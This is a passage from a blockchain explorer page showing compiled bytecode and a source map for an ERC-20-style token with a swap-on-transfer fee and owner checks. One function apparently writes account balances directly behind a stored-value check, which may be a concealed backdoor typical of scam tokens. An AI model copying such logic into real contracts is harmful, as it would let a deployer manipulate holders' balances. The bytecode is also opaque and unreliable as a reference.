ffffffffffffffffffffffffffffffffffffff16021790555050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b94919061158d565b60405180910390a3505050565b8173ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610c0b5750600960149054906101000a900460ff16155b15610ebd576001600960146101000a81548160ff0219169083151502179055506000610c3630610747565b90506000811115610ea0576000829050818111610c535780610c55565b815b90506000600267ffffffffffffffff811115610c7457610c73611945565b5b604051908082528060200260200182016040528015610ca25781602001602082028036833780820191505090505b5090503081600081518110610cba57610cb9611916565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5c57600080fd5b505afa158015610d70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9491906112bf565b81600181518110610da857610da7611916565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401610e689594939291906115a8565b600060405180830381600087803b158015610e8257600080fd5b505af1925050508015610e93575060015b610e9c57610e9d565b5b50505b6000600960146101000a81548160ff021916908315150217905550505b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f635750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610f7c5750600960149054906101000a900460ff16155b905081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc99190611753565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081801561101d57506000600a54115b156111435760006064600a548561103491906116f9565b61103e91906116c8565b9050808261104c9190611672565b915080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110999190611672565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611139919061158d565b60405180910390a3505b8083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461118f9190611672565b6111999190611753565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866112379190611753565b604051611244919061158d565b60405180910390a35050505050565b600081359050611262816119b3565b92915050565b600081519050611277816119b3565b92915050565b60008135905061128c816119ca565b92915050565b6000602082840312156112a8576112a7611974565b5b60006112b684828501611253565b91505092915050565b6000602082840312156112d5576112d4611974565b5b60006112e384828501611268565b91505092915050565b6000806040838503121561130357611302611974565b5b600061131185828601611253565b925050602061132285828601611253565b9150509250929050565b60008060006060848603121561134557611344611974565b5b600061135386828701611253565b935050602061136486828701611253565b92505060406113758682870161127d565b9150509250925092565b6000806040838503121561139657611395611974565b5b60006113a485828601611253565b92505060206113b58582860161127d565b9150509250929050565b60006113cb83836113d7565b60208301905092915050565b6113e081611787565b82525050565b6113ef81611787565b82525050565b60006114008261162d565b61140a8185611650565b93506114158361161d565b8060005b8381101561144657815161142d88826113bf565b975061143883611643565b925050600181019050611419565b5085935050505092915050565b61145c81611799565b82525050565b61146b816117dc565b82525050565b61147a816117ee565b82525050565b600061148b82611638565b6114958185611661565b93506114a5818560208601611824565b6114ae81611979565b840191505092915050565b60006114c6600683611661565b91506114d18261198a565b602082019050919050565b6114e5816117c5565b82525050565b6114f4816117cf565b82525050565b600060208201905061150f60008301846113e6565b92915050565b600060208201905061152a6000830184611453565b92915050565b60006020820190506115456000830184611462565b92915050565b600060208201905081810360008301526115658184611480565b905092915050565b60006020820190508181036000830152611586816114b9565b9050919050565b60006020820190506115a260008301846114dc565b92915050565b600060a0820190506115bd60008301886114dc565b6115ca6020830187611471565b81810360408301526115dc81866113f5565b90506115eb60608301856113e6565b6115f860808301846114dc565b9695505050505050565b600060208201905061161760008301846114eb565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061167d826117c5565b9150611688836117c5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116bd576116bc611889565b5b828201905092915050565b60006116d3826117c5565b91506116de836117c5565b9250826116ee576116ed6118b8565b5b828204905092915050565b6000611704826117c5565b915061170f836117c5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561174857611747611889565b5b828202905092915050565b600061175e826117c5565b9150611769836117c5565b92508282101561177c5761177b611889565b5b828203905092915050565b6000611792826117a5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006117e782611800565b9050919050565b60006117f9826117c5565b9050919050565b600061180b82611812565b9050919050565b600061181d826117a5565b9050919050565b60005b83811015611842578082015181840152602081019050611827565b83811115611851576000848401525b50505050565b6000600282049050600182168061186f57607f821691505b60208210811415611883576118826118e7565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6119bc81611787565b81146119c757600080fd5b50565b6119d3816117c5565b81146119de57600080fd5b5056fea2646970667358221220cac81754b8c193237db888c4d695f1a1fb42878a136b91511e03c5161828966f64736f6c63430008070033

Deployed Bytecode Sourcemap

982:4107:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1336:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3221:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1480:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3351:267;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1305:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1388:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1418:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1669:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1515:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2608:94;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;683:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1361:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2708:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1639:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3027:188;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2903:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;869:106;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1336:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3221:124::-;3287:4;3294:37;3303:10;3315:7;3324:6;3294:8;:37::i;:::-;3339:4;3332:11;;3221:124;;;;:::o;1480:26::-;;;;:::o;3351:267::-;3440:4;3447:36;3457:6;3465:9;3476:6;3447:9;:36::i;:::-;1628:1;1619:11;3488;:19;3500:6;3488:19;;;;;;;;;;;;;;;:31;3508:10;3488:31;;;;;;;;;;;;;;;;:38;3484:121;;3597:6;3563:11;:19;3575:6;3563:19;;;;;;;;;;;;;;;:31;3583:10;3563:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;3529:11;:19;3541:6;3529:19;;;;;;;;;;;;;;;:31;3549:10;3529:31;;;;;;;;;;;;;;;:74;;;;3484:121;3612:4;3605:11;;3351:267;;;;;:::o;1305:22::-;;;;;;;;;;;;;:::o;1388:21::-;;;;;;;;;;;;;:::o;1418:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;1669:27::-;;;;;;;;;;;;;:::o;1515:36::-;;;;;;;;;;;;;:::o;2608:94::-;2665:7;2682:9;:18;2692:7;2682:18;;;;;;;;;;;;;;;;2675:25;;2608:94;;;:::o;683:79::-;721:7;748:6;;;;;;;;;;;741:13;;683:79;:::o;1361:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2708:130::-;2777:4;2784:40;2794:10;2806:9;2817:6;2784:9;:40::i;:::-;2832:4;2825:11;;2708:130;;;;:::o;1639:23::-;;;;:::o;3027:188::-;3080:21;3104:46;;;;;;;;3120:10;3104:46;;;;;;3137:2;3104:46;;;;3146:2;3104:46;;;;;3080:70;;3170:5;:9;;;3159:20;;:7;;;;;;;;;;;:20;;;3151:29;;;;;;3204:5;:9;;;3181;:20;3191:5;:9;;;3181:20;;;;;;;;;;;;;;;:32;;;;3079:136;3027:188;;:::o;2903:118::-;2975:7;2992:11;:18;3004:5;2992:18;;;;;;;;;;;;;;;:27;3011:7;2992:27;;;;;;;;;;;;;;;;2985:34;;2903:118;;;;:::o;869:106::-;820:10;810:20;;:6;;;;;;;;;;:20;;;802:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;959:8:::1;950:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;869:106:::0;:::o;3624:151::-;3729:6;3699:11;:18;3711:5;3699:18;;;;;;;;;;;;;;;:27;3718:7;3699:27;;;;;;;;;;;;;;;:36;;;;3757:7;3741:32;;3750:5;3741:32;;;3766:6;3741:32;;;;;;:::i;:::-;;;;;;;;3624:151;;;:::o;3787:1264::-;3893:2;3877:18;;:12;;;;;;;;;;;:18;;;:29;;;;;3900:6;;;;;;;;;;;3899:7;3877:29;3873:624;;;3932:4;3923:6;;:13;;;;;;;;;;;;;;;;;;3951:12;3966:24;3984:4;3966:9;:24::i;:::-;3951:39;;4016:1;4009:4;:8;4005:452;;;4038:19;4060:6;4038:28;;4113:4;4099:11;:18;:39;;4127:11;4099:39;;;4120:4;4099:39;4085:53;;4157:21;4195:1;4181:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4157:40;;4234:4;4216;4221:1;4216:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;4268:14;;;;;;;;;;;:19;;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4258:4;4263:1;4258:7;;;;;;;;:::i;:::-;;;;;;;:31;;;;;;;;;;;4312:14;;;;;;;;;;;:65;;;4378:11;4390:1;4392:4;4405:7;;;;;;;;;;;4414:15;4312:118;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4308:134;;;;;;4019:438;;4005:452;4480:5;4471:6;;:14;;;;;;;;;;;;;;;;;;3908:589;3873:624;4517:12;4533:17;:23;4551:4;4533:23;;;;;;;;;;;;;;;;;;;;;;;;;4532:24;:50;;;;;4561:17;:21;4579:2;4561:21;;;;;;;;;;;;;;;;;;;;;;;;;4560:22;4532:50;:61;;;;;4587:6;;;;;;;;;;;4586:7;4532:61;4517:76;;4642:6;4624:9;:15;4634:4;4624:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;4606:9;:15;4616:4;4606:15;;;;;;;;;;;;;;;:42;;;;4659:17;4693:7;:19;;;;;4711:1;4704:4;;:8;4693:19;4689:238;;;4729:10;4758:3;4751:4;;4742:6;:13;;;;:::i;:::-;:19;;;;:::i;:::-;4729:32;;4789:2;4776:15;;;;;:::i;:::-;;;4860:2;4833:9;:24;4851:4;4833:24;;;;;;;;;;;;;;;;:29;;;;:::i;:::-;4806:9;:24;4824:4;4806:24;;;;;;;;;;;;;;;:56;;;;4905:4;4882:33;;4891:4;4882:33;;;4912:2;4882:33;;;;;;:::i;:::-;;;;;;;;4714:213;4689:238;4980:9;4971:6;4955:9;:13;4965:2;4955:13;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;:34;;;;:::i;:::-;4939:9;:13;4949:2;4939:13;;;;;;;;;;;;;;;:50;;;;5020:2;5005:38;;5014:4;5005:38;;;5033:9;5024:6;:18;;;;:::i;:::-;5005:38;;;;;;:::i;:::-;;;;;;;;3860:1191;;3787:1264;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:143::-;209:5;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;152:143;;;;:::o;301:139::-;347:5;385:6;372:20;363:29;;401:33;428:5;401:33;:::i;:::-;301:139;;;;:::o;446:329::-;505:6;554:2;542:9;533:7;529:23;525:32;522:119;;;560:79;;:::i;:::-;522:119;680:1;705:53;750:7;741:6;730:9;726:22;705:53;:::i;:::-;695:63;;651:117;446:329;;;;:::o;781:351::-;851:6;900:2;888:9;879:7;875:23;871:32;868:119;;;906:79;;:::i;:::-;868:119;1026:1;1051:64;1107:7;1098:6;1087:9;1083:22;1051:64;:::i;:::-;1041:74;;997:128;781:351;;;;:::o;1138:474::-;1206:6;1214;1263:2;1251:9;1242:7;1238:23;1234:32;1231:119;;;1269:79;;:::i;:::-;1231:119;1389:1;1414:53;1459:7;1450:6;1439:9;1435:22;1414:53;:::i;:::-;1404:63;;1360:117;1516:2;1542:53;1587:7;1578:6;1567:9;1563:22;1542:53;:::i;:::-;1532:63;;1487:118;1138:474;;;;;:::o;1618:619::-;1695:6;1703;1711;1760:2;1748:9;1739:7;1735:23;1731:32;1728:119;;;1766:79;;:::i;:::-;1728:119;1886:1;1911:53;1956:7;1947:6;1936:9;1932:22;1911:53;:::i;:::-;1901:63;;1857:117;2013:2;2039:53;2084:7;2075:6;2064:9;2060:22;2039:53;:::i;:::-;2029:63;;1984:118;2141:2;2167:53;2212:7;2203:6;2192:9;2188:22;2167:53;:::i;:::-;2157:63;;2112:118;1618:619;;;;;:::o;2243:474::-;2311:6;2319;2368:2;2356:9;2347:7;2343:23;2339:32;2336:119;;;2374:79;;:::i;:::-;2336:119;2494:1;2519:53;2564:7;2555:6;2544:9;2540:22;2519:53;:::i;:::-;2509:63;;2465:117;2621:2;2647:53;2692:7;2683:6;2672:9;2668:22;2647:53;:::i;:::-;2637:63;;2592:118;2243:474;;;;;:::o;2723:179::-;2792:10;2813:46;2855:3;2847:6;2813:46;:::i;:::-;2891:4;2886:3;2882:14;2868:28;;2723:179;;;;:::o;2908:108::-;2985:24;3003:5;2985:24;:::i;:::-;2980:3;2973:37;2908:108;;:::o;3022:118::-;3109:24;3127:5;3109:24;:::i;:::-;3104:3;3097:37;3022:118;;:::o;3176:732::-;3295:3;3324:54;3372:5;3324:54;:::i;:::-;3394:86;3473:6;3468:3;3394:86;:::i;:::-;3387:93;;3504:56;3554:5;3504:56;:::i;:::-;3583:7;3614:1;3599:284;3624:6;3621:1;3618:13;3599:284;;;3700:6;3694:13;3727:63;3786:3;3771:13;3727:63;:::i;:::-;3720:70;;3813:60;3866:6;3813:60;:::i;:::-;3803:70;;3659:224;3646:1;3643;3639:9;3634:14;;3599:284;;;3603:14;3899:3;3892:10;;3300:608;;;3176:732;;;;:::o;3914:109::-;3995:21;4010:5;3995:21;:::i;:::-;3990:3;3983:34;3914:109;;:::o;4029:173::-;4137:58;4189:5;4137:58;:::i;:::-;4132:3;4125:71;4029:173;;:::o;4208:147::-;4303:45;4342:5;4303:45;:::i;:::-;4298:3;4291:58;4208:147;;:::o;4361:364::-;4449:3;4477:39;4510:5;4477:39;:::i;:::-;4532:71;4596:6;4591:3;4532:71;:::i;:::-;4525:78;;4612:52;4657:6;4652:3;4645:4;4638:5;4634:16;4612:52;:::i;:::-;4689:29;4711:6;4689:29;:::i;:::-;4684:3;4680:39;4673:46;;4453:272;4361:364;;;;:::o;4731:365::-;4873:3;4894:66;4958:1;4953:3;4894:66;:::i;:::-;4887:73;;4969:93;5058:3;4969:93;:::i;:::-;5087:2;5082:3;5078:12;5071:19;;4731:365;;;:::o;5102:118::-;5189:24;5207:5;5189:24;:::i;:::-;5184:3;5177:37;5102:118;;:::o;5226:112::-;5309:22;5325:5;5309:22;:::i;:::-;5304:3;5297:35;5226:112;;:::o;5344:222::-;5437:4;5475:2;5464:9;5460:18;5452:26;;5488:71;5556:1;5545:9;5541:17;5532:6;5488:71;:::i;:::-;5344:222;;;;:::o;5572:210::-;5659:4;5697:2;5686:9;5682:18;5674:26;;5710:65;5772:1;5761:9;5757:17;5748:6;5710:65;:::i;:::-;5572:210;;;;:::o;5788:264::-;5902:4;5940:2;5929:9;5925:18;5917:26;;5953:92;6042:1;6031:9;6027:17;6018:6;5953:92;:::i;:::-;5788:264;;;;:::o;6058:313::-;6171:4;6209:2;6198:9;6194:18;6186:26;;6258:9;6252:4;6248:20;6244:1;6233:9;6229:17;6222:47;6286:78;6359:4;6350:6;6286:78;:::i;:::-;6278:86;;6058:313;;;;:::o;6377:419::-;6543:4;6581:2;6570:9;6566:18;6558:26;;6630:9;6624:4;6620:20;6616:1;6605:9;6601:17;6594:47;6658:131;6784:4;6658:131;:::i;:::-;6650:139;;6377:419;;;:::o;6802:222::-;6895:4;6933:2;6922:9;6918:18;6910:26;;6946:71;7014:1;7003:9;6999:17;6990:6;6946:71;:::i;:::-;6802:222;;;;:::o;7030:831::-;7293:4;7331:3;7320:9;7316:19;7308:27;;7345:71;7413:1;7402:9;7398:17;7389:6;7345:71;:::i;:::-;7426:80;7502:2;7491:9;7487:18;7478:6;7426:80;:::i;:::-;7553:9;7547:4;7543:20;7538:2;7527:9;7523:18;7516:48;7581:108;7684:4;7675:6;7581:108;:::i;:::-;7573:116;;7699:72;7767:2;7756:9;7752:18;7743:6;7699:72;:::i;:::-;7781:73;7849:3;7838:9;7834:19;7825:6;7781:73;:::i;:::-;7030:831;;;;;;;;:::o;7867:214::-;7956:4;7994:2;7983:9;7979:18;7971:26;;8007:67;8071:1;8060:9;8056:17;8047:6;8007:67;:::i;:::-;7867:214;;;;:::o;8168:132::-;8235:4;8258:3;8250:11;;8288:4;8283:3;8279:14;8271:22;;8168:132;;;:::o;8306:114::-;8373:6;8407:5;8401:12;8391:22;;8306:114;;;:::o;8426:99::-;8478:6;8512:5;8506:12;8496:22;;8426:99;;;:::o;8531:113::-;8601:4;8633;8628:3;8624:14;8616:22;;8531:113;;;:::o;8650:184::-;8749:11;8783:6;8778:3;8771:19;8823:4;8818:3;8814:14;8799:29;;8650:184;;;;:::o;8840:169::-;8924:11;8958:6;8953:3;8946:19;8998:4;8993:3;8989:14;8974:29;;8840:169;;;;:::o;9015:305::-;9055:3;9074:20;9092:1;9074:20;:::i;:::-;9069:25;;9108:20;9126:1;9108:20;:::i;:::-;9103:25;;9262:1;9194:66;9190:74;9187:1;9184:81;9181:107;;;9268:18;;:::i;:::-;9181:107;9312:1;9309;9305:9;9298:16;;9015:305;;;;:::o;9326:185::-;9366:1;9383:20;9401:1;9383:20;:::i;:::-;9378:25;;9417:20;9435:1;9417:20;:::i;:::-;9412:25;;9456:1;9446:35;;9461:18;;:::i;:::-;9446:35;9503:1;9500;9496:9;9491:14;;9326:185;;;;:::o;9517:348::-;9557:7;9580:20;9598:1;9580:20;:::i;:::-;9575:25;;9614:20;9632:1;9614:20;:::i;:::-;9609:25;;9802:1;9734:66;9730:74;9727:1;9724:81;9719:1;9712:9;9705:17;9701:105;9698:131;;;9809:18;;:::i;:::-;9698:131;9857:1;9854;9850:9;9839:20;;9517:348;;;;:::o;9871:191::-;9911:4;9931:20;9949:1;9931:20;:::i;:::-;9926:25;;9965:20;9983:1;9965:20;:::i;:::-;9960:25;;10004:1;10001;9998:8;9995:34;;;10009:18;;:::i;:::-;9995:34;10054:1;10051;10047:9;10039:17;;9871:191;;;;:::o;10068:96::-;10105:7;10134:24;10152:5;10134:24;:::i;:::-;10123:35;;10068:96;;;:::o;10170:90::-;10204:7;10247:5;10240:13;10233:21;10222:32;;10170:90;;;:::o;10266:126::-;10303:7;10343:42;10336:5;10332:54;10321:65;;10266:126;;;:::o;10398:77::-;10435:7;10464:5;10453:16;;10398:77;;;:::o;10481:86::-;10516:7;10556:4;10549:5;10545:16;10534:27;;10481:86;;;:::o;10573:147::-;10644:9;10677:37;10708:5;10677:37;:::i;:::-;10664:50;;10573:147;;;:::o;10726:121::-;10784:9;10817:24;10835:5;10817:24;:::i;:::-;10804:37;;10726:121;;;:::o;10853:126::-;10903:9;10936:37;10967:5;10936:37;:::i;:::-;10923:50;;10853:126;;;:::o;10985:113::-;11035:9;11068:24;11086:5;11068:24;:::i;:::-;11055:37;;10985:113;;;:::o;11104:307::-;11172:1;11182:113;11196:6;11193:1;11190:13;11182:113;;;11281:1;11276:3;11272:11;11266:18;11262:1;11257:3;11253:11;11246:39;11218:2;11215:1;11211:10;11206:15;;11182:113;;;11313:6;11310:1;11307:13;11304:101;;;11393:1;11384:6;11379:3;11375:16;11368:27;11304:101;11153:258;11104:307;;;:::o;11417:320::-;11461:6;11498:1;11492:4;11488:12;11478:22;;11545:1;11539:4;11535:12;11566:18;11556:81;;11622:4;11614:6;11610:17;11600:27;;11556:81;11684:2;11676:6;11673:14;11653:18;11650:38;11647:84;;;11703:18;;:::i;:::-;11647:84;11468:269;11417:320;;;:::o;11743:180::-;11791:77;11788:1;11781:88;11888:4;11885:1;11878:15;11912:4;11909:1;11902:15;11929:180;11977:77;11974:1;11967:88;12074:4;12071:1;12064:15;12098:4;12095:1;12088:15;12115:180;12163:77;12160:1;12153:88;12260:4;12257:1;12250:15;12284:4;12281:1;12274:15;12301:180;12349:77;12346:1;12339:88;12446:4;12443:1;12436:15;12470:4;12467:1;12460:15;12487:180;12535:77;12532:1;12525:88;12632:4;12629:1;12622:15;12656:4;12653:1;12646:15;12796:117;12905:1;12902;12895:12;12919:102;12960:6;13011:2;13007:7;13002:2;12995:5;12991:14;12987:28;12977:38;;12919:102;;;:::o;13027:156::-;13167:8;13163:1;13155:6;13151:14;13144:32;13027:156;:::o;13189:122::-;13262:24;13280:5;13262:24;:::i;:::-;13255:5;13252:35;13242:63;;13301:1;13298;13291:12;13242:63;13189:122;:::o;13317:::-;13390:24;13408:5;13390:24;:::i;:::-;13383:5;13380:35;13370:63;;13429:1;13426;13419:12;13370:63;13317:122;:::o

Swarm Source

ipfs://cac81754b8c193237db888c4d695f1a1fb42878a136b91511e03c5161828966f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.